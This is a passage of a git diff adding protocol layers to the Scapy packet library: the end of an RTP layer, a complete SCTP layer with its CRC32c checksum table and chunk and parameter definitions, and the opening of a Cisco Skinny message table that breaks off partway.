+    fields_desc = [ BitField('version', 2, 2),
+                    BitField('padding', 0, 1),
+                    BitField('extension', 0, 1),
+                    BitFieldLenField('numsync', None, 4, count_of='sync'),
+                    BitField('marker', 0, 1),
+                    BitEnumField('payload_type', 0, 7, _rtp_payload_types),
+                    ShortField('sequence', 0),
+                    IntField('timestamp', 0),
+                    IntField('sourcesync', 0),
+                    FieldListField('sync', [], IntField("id",0), count_from=lambda pkt:pkt.numsync) ]
+
+bind_layers(RTP, RTPExtension, extension=1)
diff --git a/scapy/layers/sctp.py b/scapy/layers/sctp.py
new file mode 100644
index 0000000..958b008
--- /dev/null
+++ b/scapy/layers/sctp.py
@@ -0,0 +1,662 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## Copyright (C) 6WIND <olivier.matz@6wind.com>
+## This program is published under a GPLv2 license
+
+"""
+SCTP (Stream Control Transmission Protocol).
+"""
+
+from __future__ import absolute_import
+import struct
+
+from scapy.compat import *
+from scapy.volatile import RandBin
+from scapy.config import conf
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import IP
+from scapy.layers.inet6 import IP6Field
+from scapy.layers.inet6 import IPv6
+
+IPPROTO_SCTP=132
+
+# crc32-c (Castagnoli) (crc32c_poly=0x1EDC6F41)
+crc32c_table = [
+    0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4,
+    0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB,
+    0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B,
+    0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24,
+    0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B,
+    0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384,
+    0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76C54,
+    0x5D1D08BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B,
+    0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, 0x33ED7D2A,
+    0xE72719C1, 0x154C9AC2, 0x061C6936, 0xF477EA35,
+    0xAA64D611, 0x580F5512, 0x4B5FA6E6, 0xB93425E5,
+    0x6DFE410E, 0x9F95C20D, 0x8CC531F9, 0x7EAEB2FA,
+    0x30E349B1, 0xC288CAB2, 0xD1D83946, 0x23B3BA45,
+    0xF779DEAE, 0x05125DAD, 0x1642AE59, 0xE4292D5A,
+    0xBA3A117E, 0x4851927D, 0x5B016189, 0xA96AE28A,
+    0x7DA08661, 0x8FCB0562, 0x9C9BF696, 0x6EF07595,
+    0x417B1DBC, 0xB3109EBF, 0xA0406D4B, 0x522BEE48,
+    0x86E18AA3, 0x748A09A0, 0x67DAFA54, 0x95B17957,
+    0xCBA24573, 0x39C9C670, 0x2A993584, 0xD8F2B687,
+    0x0C38D26C, 0xFE53516F, 0xED03A29B, 0x1F682198,
+    0x5125DAD3, 0xA34E59D0, 0xB01EAA24, 0x42752927,
+    0x96BF4DCC, 0x64D4CECF, 0x77843D3B, 0x85EFBE38,
+    0xDBFC821C, 0x2997011F, 0x3AC7F2EB, 0xC8AC71E8,
+    0x1C661503, 0xEE0D9600, 0xFD5D65F4, 0x0F36E6F7,
+    0x61C69362, 0x93AD1061, 0x80FDE395, 0x72966096,
+    0xA65C047D, 0x5437877E, 0x4767748A, 0xB50CF789,
+    0xEB1FCBAD, 0x197448AE, 0x0A24BB5A, 0xF84F3859,
+    0x2C855CB2, 0xDEEEDFB1, 0xCDBE2C45, 0x3FD5AF46,
+    0x7198540D, 0x83F3D70E, 0x90A324FA, 0x62C8A7F9,
+    0xB602C312, 0x44694011, 0x5739B3E5, 0xA55230E6,
+    0xFB410CC2, 0x092A8FC1, 0x1A7A7C35, 0xE811FF36,
+    0x3CDB9BDD, 0xCEB018DE, 0xDDE0EB2A, 0x2F8B6829,
+    0x82F63B78, 0x709DB87B, 0x63CD4B8F, 0x91A6C88C,
+    0x456CAC67, 0xB7072F64, 0xA457DC90, 0x563C5F93,
+    0x082F63B7, 0xFA44E0B4, 0xE9141340, 0x1B7F9043,
+    0xCFB5F4A8, 0x3DDE77AB, 0x2E8E845F, 0xDCE5075C,
+    0x92A8FC17, 0x60C37F14, 0x73938CE0, 0x81F80FE3,
+    0x55326B08, 0xA759E80B, 0xB4091BFF, 0x466298FC,
+    0x1871A4D8, 0xEA1A27DB, 0xF94AD42F, 0x0B21572C,
+    0xDFEB33C7, 0x2D80B0C4, 0x3ED04330, 0xCCBBC033,
+    0xA24BB5A6, 0x502036A5, 0x4370C551, 0xB11B4652,
+    0x65D122B9, 0x97BAA1BA, 0x84EA524E, 0x7681D14D,
+    0x2892ED69, 0xDAF96E6A, 0xC9A99D9E, 0x3BC21E9D,
+    0xEF087A76, 0x1D63F975, 0x0E330A81, 0xFC588982,
+    0xB21572C9, 0x407EF1CA, 0x532E023E, 0xA145813D,
+    0x758FE5D6, 0x87E466D5, 0x94B49521, 0x66DF1622,
+    0x38CC2A06, 0xCAA7A905, 0xD9F75AF1, 0x2B9CD9F2,
+    0xFF56BD19, 0x0D3D3E1A, 0x1E6DCDEE, 0xEC064EED,
+    0xC38D26C4, 0x31E6A5C7, 0x22B65633, 0xD0DDD530,
+    0x0417B1DB, 0xF67C32D8, 0xE52CC12C, 0x1747422F,
+    0x49547E0B, 0xBB3FFD08, 0xA86F0EFC, 0x5A048DFF,
+    0x8ECEE914, 0x7CA56A17, 0x6FF599E3, 0x9D9E1AE0,
+    0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F,
+    0x144976B4, 0xE622F5B7, 0xF5720643, 0x07198540,
+    0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A90,
+    0x9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DC0DD8F,
+    0xE330A81A, 0x115B2B19, 0x020BD8ED, 0xF0605BEE,
+    0x24AA3F05, 0xD6C1BC06, 0xC5914FF2, 0x37FACCF1,
+    0x69E9F0D5, 0x9B8273D6, 0x88D28022, 0x7AB90321,
+    0xAE7367CA, 0x5C18E4C9, 0x4F48173D, 0xBD23943E,
+    0xF36E6F75, 0x0105EC76, 0x12551F82, 0xE03E9C81,
+    0x34F4F86A, 0xC69F7B69, 0xD5CF889D, 0x27A40B9E,
+    0x79B737BA, 0x8BDCB4B9, 0x988C474D, 0x6AE7C44E,
+    0xBE2DA0A5, 0x4C4623A6, 0x5F16D052, 0xAD7D5351,
+    ]
+
+def crc32c(buf):
+    crc = 0xffffffff
+    for c in buf:
+        crc = (crc>>8) ^ crc32c_table[(crc^(orb(c))) & 0xFF]
+    crc = (~crc) & 0xffffffff
+    # reverse endianness
+    return struct.unpack(">I",struct.pack("<I", crc))[0]
+
+# old checksum (RFC2960)
+"""
+BASE = 65521 # largest prime smaller than 65536
+def update_adler32(adler, buf):
+    s1 = adler & 0xffff
+    s2 = (adler >> 16) & 0xffff
+    print s1,s2
+
+    for c in buf:
+        print orb(c)
+        s1 = (s1 + orb(c)) % BASE
+        s2 = (s2 + s1) % BASE
+        print s1,s2
+    return (s2 << 16) + s1
+
+def sctp_checksum(buf):
+    return update_adler32(1, buf)
+"""
+
+hmactypes = {
+    0 : "Reserved1",
+    1 : "SHA-1",
+    2 : "Reserved2",
+    3 : "SHA-256",
+    }
+
+sctpchunktypescls = {
+    0 : "SCTPChunkData",
+    1 : "SCTPChunkInit",
+    2 : "SCTPChunkInitAck",
+    3 : "SCTPChunkSACK",
+    4 : "SCTPChunkHeartbeatReq",
+    5 : "SCTPChunkHeartbeatAck",
+    6 : "SCTPChunkAbort",
+    7 : "SCTPChunkShutdown",
+    8 : "SCTPChunkShutdownAck",
+    9 : "SCTPChunkError",
+    10 : "SCTPChunkCookieEcho",
+    11 : "SCTPChunkCookieAck",
+    14 : "SCTPChunkShutdownComplete",
+    15 : "SCTPChunkAuthentication",
+    0x80 : "SCTPChunkAddressConfAck",
+    0xc1 : "SCTPChunkAddressConf",
+    }
+
+sctpchunktypes = {
+    0 : "data",
+    1 : "init",
+    2 : "init-ack",
+    3 : "sack",
+    4 : "heartbeat-req",
+    5 : "heartbeat-ack",
+    6 : "abort",
+    7 : "shutdown",
+    8 : "shutdown-ack",
+    9 : "error",
+    10 : "cookie-echo",
+    11 : "cookie-ack",
+    14 : "shutdown-complete",
+    15 : "authentication",
+    0x80 : "address-configuration-ack",
+    0xc1 : "address-configuration",
+    }
+
+sctpchunkparamtypescls = {
+    1 : "SCTPChunkParamHearbeatInfo",
+    5 : "SCTPChunkParamIPv4Addr",
+    6 : "SCTPChunkParamIPv6Addr",
+    7 : "SCTPChunkParamStateCookie",
+    8 : "SCTPChunkParamUnrocognizedParam",
+    9 : "SCTPChunkParamCookiePreservative",
+    11 : "SCTPChunkParamHostname",
+    12 : "SCTPChunkParamSupportedAddrTypes",
+    0x8000 : "SCTPChunkParamECNCapable",
+    0x8002 : "SCTPChunkParamRandom",
+    0x8003 : "SCTPChunkParamChunkList",
+    0x8004 : "SCTPChunkParamRequestedHMACFunctions",
+    0x8008 : "SCTPChunkParamSupportedExtensions",
+    0xc000 : "SCTPChunkParamFwdTSN",
+    0xc001 : "SCTPChunkParamAddIPAddr",
+    0xc002 : "SCTPChunkParamDelIPAddr",
+    0xc003 : "SCTPChunkParamErrorIndication",
+    0xc004 : "SCTPChunkParamSetPrimaryAddr",
+    0xc005 : "SCTPChunkParamSuccessIndication",
+    0xc006 : "SCTPChunkParamAdaptationLayer",
+    }
+
+sctpchunkparamtypes = {
+    1 : "heartbeat-info",
+    5 : "IPv4",
+    6 : "IPv6",
+    7 : "state-cookie",
+    8 : "unrecognized-param",
+    9 : "cookie-preservative",
+    11 : "hostname",
+    12 : "addrtypes",
+    0x8000 : "ecn-capable",
+    0x8002 : "random",
+    0x8003 : "chunk-list",
+    0x8004 : "requested-HMAC-functions",
+    0x8008 : "supported-extensions",
+    0xc000 : "fwd-tsn-supported",
+    0xc001 : "add-IP",
+    0xc002 : "del-IP",
+    0xc003 : "error-indication",
+    0xc004 : "set-primary-addr",
+    0xc005 : "success-indication",
+    0xc006 : "adaptation-layer",
+    }
+
+############## SCTP header
+
+# Dummy class to guess payload type (variable parameters)
+class _SCTPChunkGuessPayload:
+    def default_payload_class(self,p):
+        if len(p) < 4:
+            return conf.padding_layer
+        else:
+            t = orb(p[0])
+            return globals().get(sctpchunktypescls.get(t, "Raw"), conf.raw_layer)
+
+
+class SCTP(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ShortField("sport", None),
+                    ShortField("dport", None),
+                    XIntField("tag", None),
+                    XIntField("chksum", None), ]
+    def answers(self, other):
+        if not isinstance(other, SCTP):
+            return 0
+        if conf.checkIPsrc:
+            if not ((self.sport == other.dport) and
+                    (self.dport == other.sport)):
+                return 0
+        return 1
+    def post_build(self, p, pay):
+        p += pay
+        if self.chksum is None:
+            crc = crc32c(raw(p))
+            p = p[:8]+struct.pack(">I", crc)+p[12:]
+        return p
+
+############## SCTP Chunk variable params
+
+class ChunkParamField(PacketListField):
+    def __init__(self, name, default, count_from=None, length_from=None):
+        PacketListField.__init__(self, name, default, conf.raw_layer, count_from=count_from, length_from=length_from)
+    def m2i(self, p, m):
+        cls = conf.raw_layer
+        if len(m) >= 4:
+            t = orb(m[0]) * 256 + orb(m[1])
+            cls = globals().get(sctpchunkparamtypescls.get(t, "Raw"), conf.raw_layer)
+        return cls(m)
+
+# dummy class to avoid Raw() after Chunk params
+class _SCTPChunkParam:
+    def extract_padding(self, s):
+        return b"",s[:]
+
+class SCTPChunkParamHearbeatInfo(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 1, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="data",
+                                  adjust = lambda pkt,x:x+4),
+                    PadField(StrLenField("data", "",
+                                         length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"),]
+
+class SCTPChunkParamIPv4Addr(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 5, sctpchunkparamtypes),
+                    ShortField("len", 8),
+                    IPField("addr","127.0.0.1"), ]
+
+class SCTPChunkParamIPv6Addr(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 6, sctpchunkparamtypes),
+                    ShortField("len", 20),
+                    IP6Field("addr","::1"), ]
+
+class SCTPChunkParamStateCookie(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 7, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="cookie",
+                                  adjust = lambda pkt,x:x+4),
+                    PadField(StrLenField("cookie", "",
+                                         length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"),]
+
+class SCTPChunkParamUnrocognizedParam(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 8, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="param",
+                                  adjust = lambda pkt,x:x+4),
+                    PadField(StrLenField("param", "",
+                                         length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"),]
+
+class SCTPChunkParamCookiePreservative(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 9, sctpchunkparamtypes),
+                    ShortField("len", 8),
+                    XIntField("sug_cookie_inc", None), ]
+
+class SCTPChunkParamHostname(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 11, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="hostname",
+                                  adjust = lambda pkt,x:x+4),
+                    PadField(StrLenField("hostname", "",
+                                         length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"), ]
+
+class SCTPChunkParamSupportedAddrTypes(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 12, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="addr_type_list",
+                                  adjust = lambda pkt,x:x+4),
+                    PadField(FieldListField("addr_type_list", [ "IPv4" ],
+                                            ShortEnumField("addr_type", 5, sctpchunkparamtypes),
+                                            length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"), ]
+
+class SCTPChunkParamECNCapable(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 0x8000, sctpchunkparamtypes),
+                    ShortField("len", 4), ]
+
+class SCTPChunkParamRandom(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 0x8002, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="random",
+                                  adjust = lambda pkt,x:x+4),
+                    PadField(StrLenField("random", RandBin(32),
+                                         length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"),]
+
+class SCTPChunkParamChunkList(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 0x8003, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="chunk_list",
+                                  adjust = lambda pkt,x:x+4),
+                    PadField(FieldListField("chunk_list", None,
+                                            ByteEnumField("chunk", None, sctpchunktypes),
+                                            length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"),]
+
+class SCTPChunkParamRequestedHMACFunctions(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 0x8004, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="HMAC_functions_list",
+                                  adjust = lambda pkt,x:x+4),
+                    PadField(FieldListField("HMAC_functions_list", [ "SHA-1" ],
+                                            ShortEnumField("HMAC_function", 1, hmactypes),
+                                            length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"),]
+
+class SCTPChunkParamSupportedExtensions(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 0x8008, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="supported_extensions",
+                                adjust = lambda pkt,x:x+4),
+                    PadField(FieldListField("supported_extensions",
+                                            [ "authentication",
+                                              "address-configuration",
+                                              "address-configuration-ack" ],
+                                            ByteEnumField("supported_extensions",
+                                                          None, sctpchunktypes),
+                                            length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"),]
+
+class SCTPChunkParamFwdTSN(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 0xc000, sctpchunkparamtypes),
+                    ShortField("len", 4), ]
+
+class SCTPChunkParamAddIPAddr(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 0xc001, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="addr",
+                                  adjust = lambda pkt,x:x+12),
+                    XIntField("correlation_id", None),
+                    ShortEnumField("addr_type", 5, sctpchunkparamtypes),
+                    FieldLenField("addr_len", None, length_of="addr",
+                                  adjust = lambda pkt,x:x+4),
+                    ConditionalField(
+                        IPField("addr", "127.0.0.1"),
+                        lambda p: p.addr_type == 5),
+                    ConditionalField(
+                        IP6Field("addr", "::1"),
+                        lambda p: p.addr_type == 6),]
+
+class SCTPChunkParamDelIPAddr(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 0xc002, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="addr",
+                                  adjust = lambda pkt,x:x+12),
+                    XIntField("correlation_id", None),
+                    ShortEnumField("addr_type", 5, sctpchunkparamtypes),
+                    FieldLenField("addr_len", None, length_of="addr",
+                                  adjust = lambda pkt,x:x+4),
+                    ConditionalField(
+                        IPField("addr", "127.0.0.1"),
+                        lambda p: p.addr_type == 5),
+                    ConditionalField(
+                        IP6Field("addr", "::1"),
+                        lambda p: p.addr_type == 6),]
+
+class SCTPChunkParamErrorIndication(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 0xc003, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="error_causes",
+                                  adjust = lambda pkt,x:x+8),
+                    XIntField("correlation_id", None),
+                    PadField(StrLenField("error_causes", "",
+                                         length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"),]
+
+class SCTPChunkParamSetPrimaryAddr(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 0xc004, sctpchunkparamtypes),
+                    FieldLenField("len", None, length_of="addr",
+                                  adjust = lambda pkt,x:x+12),
+                    XIntField("correlation_id", None),
+                    ShortEnumField("addr_type", 5, sctpchunkparamtypes),
+                    FieldLenField("addr_len", None, length_of="addr",
+                                  adjust = lambda pkt,x:x+4),
+                    ConditionalField(
+                        IPField("addr", "127.0.0.1"),
+                        lambda p: p.addr_type == 5),
+                    ConditionalField(
+                        IP6Field("addr", "::1"),
+                        lambda p: p.addr_type == 6),]
+
+class SCTPChunkParamSuccessIndication(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 0xc005, sctpchunkparamtypes),
+                    ShortField("len", 8),
+                    XIntField("correlation_id", None), ]
+
+class SCTPChunkParamAdaptationLayer(_SCTPChunkParam, Packet):
+    fields_desc = [ ShortEnumField("type", 0xc006, sctpchunkparamtypes),
+                    ShortField("len", 8),
+                    XIntField("indication", None), ]
+
+############## SCTP Chunks
+
+# Dictionary taken from: http://www.iana.org/assignments/sctp-parameters/sctp-parameters.xhtml
+SCTP_PAYLOAD_PROTOCOL_INDENTIFIERS = {
+	0:  'Reserved',
+	1:  'IUA',
+	2:  'M2UA',
+	3:  'M3UA',
+	4:  'SUA',
+	5:  'M2PA',
+	6:  'V5UA',
+	7:  'H.248',
+	8:  'BICC/Q.2150.3',
+	9:  'TALI',
+	10: 'DUA',
+	11: 'ASAP',
+	12: 'ENRP',
+	13: 'H.323',
+	14: 'Q.IPC/Q.2150.3',
+	15: 'SIMCO',
+	16: 'DDP Segment Chunk',
+	17: 'DDP Stream Session Control',
+	18: 'S1AP',
+	19: 'RUA',
+	20: 'HNBAP',
+	21: 'ForCES-HP',
+	22: 'ForCES-MP',
+	23: 'ForCES-LP',
+	24: 'SBc-AP',
+	25: 'NBAP',
+	26: 'Unassigned',
+	27: 'X2AP',
+	28: 'IRCP',
+	29: 'LCS-AP',
+	30: 'MPICH2',
+	31: 'SABP',
+	32: 'FGP',
+	33: 'PPP',
+	34: 'CALCAPP',
+	35: 'SSP',
+	36: 'NPMP-CONTROL',
+	37: 'NPMP-DATA',
+	38: 'ECHO',
+	39: 'DISCARD',
+	40: 'DAYTIME',
+	41: 'CHARGEN',
+	42: '3GPP RNA',
+	43: '3GPP M2AP',
+	44: '3GPP M3AP',
+	45: 'SSH/SCTP',
+	46: 'Diameter/SCTP',
+	47: 'Diameter/DTLS/SCTP',
+	48: 'R14P',
+	49: 'Unassigned',
+	50: 'WebRTC DCEP',
+	51: 'WebRTC String',
+	52: 'WebRTC Binary Partial',
+	53: 'WebRTC Binary',
+	54: 'WebRTC String Partial',
+	55: '3GPP PUA',
+	56: 'WebRTC String Empty',
+	57: 'WebRTC Binary Empty'	
+}
+
+class SCTPChunkData(_SCTPChunkGuessPayload, Packet):
+    # TODO : add a padding function in post build if this layer is used to generate SCTP chunk data
+    fields_desc = [ ByteEnumField("type", 0, sctpchunktypes),
+                    BitField("reserved", None, 4),
+                    BitField("delay_sack", 0, 1),
+                    BitField("unordered", 0, 1),
+                    BitField("beginning", 0, 1),
+                    BitField("ending", 0, 1),
+                    FieldLenField("len", None, length_of="data", adjust = lambda pkt,x:x+16),
+                    XIntField("tsn", None),
+                    XShortField("stream_id", None),
+                    XShortField("stream_seq", None),
+                    IntEnumField("proto_id", None, SCTP_PAYLOAD_PROTOCOL_INDENTIFIERS),
+                    PadField(StrLenField("data", None, length_from=lambda pkt: pkt.len-16),
+                             4, padwith=b"\x00"),
+                    ]
+
+
+class SCTPChunkInit(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 1, sctpchunktypes),
+                    XByteField("flags", None),
+                    FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+20),
+                    XIntField("init_tag", None),
+                    IntField("a_rwnd", None),
+                    ShortField("n_out_streams", None),
+                    ShortField("n_in_streams", None),
+                    XIntField("init_tsn", None),
+                    ChunkParamField("params", None, length_from=lambda pkt:pkt.len-20),
+                    ]
+
+class SCTPChunkInitAck(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 2, sctpchunktypes),
+                    XByteField("flags", None),
+                    FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+20),
+                    XIntField("init_tag", None),
+                    IntField("a_rwnd", None),
+                    ShortField("n_out_streams", None),
+                    ShortField("n_in_streams", None),
+                    XIntField("init_tsn", None),
+                    ChunkParamField("params", None, length_from=lambda pkt:pkt.len-20),
+                    ]
+
+class GapAckField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "4s")
+    def i2m(self, pkt, x):
+        if x is None:
+            return b"\0\0\0\0"
+        sta, end = [int(e) for e in x.split(':')]
+        args = tuple([">HH", sta, end])
+        return struct.pack(*args)
+    def m2i(self, pkt, x):
+        return "%d:%d"%(struct.unpack(">HH", x))
+    def any2i(self, pkt, x):
+        if isinstance(x, tuple) and len(x) == 2:
+            return "%d:%d"%(x)
+        return x
+
+class SCTPChunkSACK(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 3, sctpchunktypes),
+                    XByteField("flags", None),
+                    ShortField("len", None),
+                    XIntField("cumul_tsn_ack", None),
+                    IntField("a_rwnd", None),
+                    FieldLenField("n_gap_ack", None, count_of="gap_ack_list"),
+                    FieldLenField("n_dup_tsn", None, count_of="dup_tsn_list"),
+                    FieldListField("gap_ack_list", [ ], GapAckField("gap_ack", None), count_from=lambda pkt:pkt.n_gap_ack),
+                    FieldListField("dup_tsn_list", [ ], XIntField("dup_tsn", None), count_from=lambda pkt:pkt.n_dup_tsn),
+                    ]
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            p = p[:2] + struct.pack(">H", len(p)) + p[4:]
+        return p+pay
+
+
+class SCTPChunkHeartbeatReq(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 4, sctpchunktypes),
+                    XByteField("flags", None),
+                    FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+4),
+                    ChunkParamField("params", None, length_from=lambda pkt:pkt.len-4),
+                   ]
+
+class SCTPChunkHeartbeatAck(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 5, sctpchunktypes),
+                    XByteField("flags", None),
+                    FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+4),
+                    ChunkParamField("params", None, length_from=lambda pkt:pkt.len-4),
+                   ]
+
+class SCTPChunkAbort(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 6, sctpchunktypes),
+                    BitField("reserved", None, 7),
+                    BitField("TCB", 0, 1),
+                    FieldLenField("len", None, length_of="error_causes", adjust = lambda pkt,x:x+4),
+                    PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"),
+                   ]
+
+class SCTPChunkShutdown(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 7, sctpchunktypes),
+                    XByteField("flags", None),
+                    ShortField("len", 8),
+                    XIntField("cumul_tsn_ack", None),
+                   ]
+
+class SCTPChunkShutdownAck(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 8, sctpchunktypes),
+                    XByteField("flags", None),
+                    ShortField("len", 4),
+                   ]
+
+class SCTPChunkError(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 9, sctpchunktypes),
+                    XByteField("flags", None),
+                    FieldLenField("len", None, length_of="error_causes", adjust = lambda pkt,x:x+4),
+                    PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"),
+                   ]
+
+class SCTPChunkCookieEcho(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 10, sctpchunktypes),
+                    XByteField("flags", None),
+                    FieldLenField("len", None, length_of="cookie", adjust = lambda pkt,x:x+4),
+                    PadField(StrLenField("cookie", "", length_from=lambda pkt: pkt.len-4),
+                             4, padwith=b"\x00"),
+                   ]
+
+class SCTPChunkCookieAck(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 11, sctpchunktypes),
+                    XByteField("flags", None),
+                    ShortField("len", 4),
+                   ]
+
+class SCTPChunkShutdownComplete(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 14, sctpchunktypes),
+                    BitField("reserved", None, 7),
+                    BitField("TCB", 0, 1),
+                    ShortField("len", 4),
+                    ]
+
+class SCTPChunkAuthentication(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 15, sctpchunktypes),
+                    XByteField("flags", None),
+                    FieldLenField("len", None, length_of="HMAC",
+                                  adjust = lambda pkt,x:x+8),
+                    ShortField("shared_key_id", None),
+                    ShortField("HMAC_function", None),
+                    PadField(StrLenField("HMAC", "", length_from=lambda pkt: pkt.len-8),
+                             4, padwith=b"\x00"),
+                   ]
+
+class SCTPChunkAddressConf(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type", 0xc1, sctpchunktypes),
+                    XByteField("flags", None),
+                    FieldLenField("len", None, length_of="params",
+                                  adjust=lambda pkt,x:x+8),
+                    IntField("seq", 0),
+                    ChunkParamField("params", None, length_from=lambda pkt:pkt.len-8),
+                   ]
+
+class SCTPChunkAddressConfAck(_SCTPChunkGuessPayload, Packet):
+    fields_desc = [ ByteEnumField("type",0x80, sctpchunktypes),
+                    XByteField("flags", None),
+                    FieldLenField("len", None, length_of="params",
+                                  adjust=lambda pkt,x:x+8),
+                    IntField("seq", 0),
+                    ChunkParamField("params", None, length_from=lambda pkt:pkt.len-8),
+                   ]
+
+bind_layers( IP,           SCTP,          proto=IPPROTO_SCTP)
+bind_layers( IPv6,           SCTP,          nh=IPPROTO_SCTP)
diff --git a/scapy/layers/skinny.py b/scapy/layers/skinny.py
new file mode 100644
index 0000000..9fb6ac0
--- /dev/null
+++ b/scapy/layers/skinny.py
@@ -0,0 +1,161 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Cisco Skinny protocol.
+"""
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import TCP
+
+# shamelessly ripped from Ethereal dissector
+skinny_messages = { 
+# Station -> Callmanager
+  0x0000: "KeepAliveMessage",
+  0x0001: "RegisterMessage",
+  0x0002: "IpPortMessage",
+  0x0003: "KeypadButtonMessage",
+  0x0004: "EnblocCallMessage",
+  0x0005: "StimulusMessage",
+  0x0006: "OffHookMessage",
+  0x0007: "OnHookMessage",
+  0x0008: "HookFlashMessage",
+  0x0009: "ForwardStatReqMessage",
+  0x000A: "SpeedDialStatReqMessage",
+  0x000B: "LineStatReqMessage",
+  0x000C: "ConfigStatReqMessage",
+  0x000D: "TimeDateReqMessage",
+  0x000E: "ButtonTemplateReqMessage",
+  0x000F: "VersionReqMessage",
+  0x0010: "CapabilitiesResMessage",
+  0x0011: "MediaPortListMessage",
+  0x0012: "ServerReqMessage",
+  0x0020: "AlarmMessage",
+  0x0021: "MulticastMediaReceptionAck",
+  0x0022: "OpenReceiveChannelAck",
+  0x0023: "ConnectionStatisticsRes",
+  0x0024: "OffHookWithCgpnMessage",
+  0x0025: "SoftKeySetReqMessage",
+  0x0026: "SoftKeyEventMessage",
+  0x0027: "UnregisterMessage",
+  0x0028: "SoftKeyTemplateReqMessage",
+  0x0029: "RegisterTokenReq",
+  0x002A: "MediaTransmissionFailure",
+  0x002B: "HeadsetStatusMessage",
+  0x002C: "MediaResourceNotification",
+  0x002D: "RegisterAvailableLinesMessage",
+  0x002E: "DeviceToUserDataMessage",
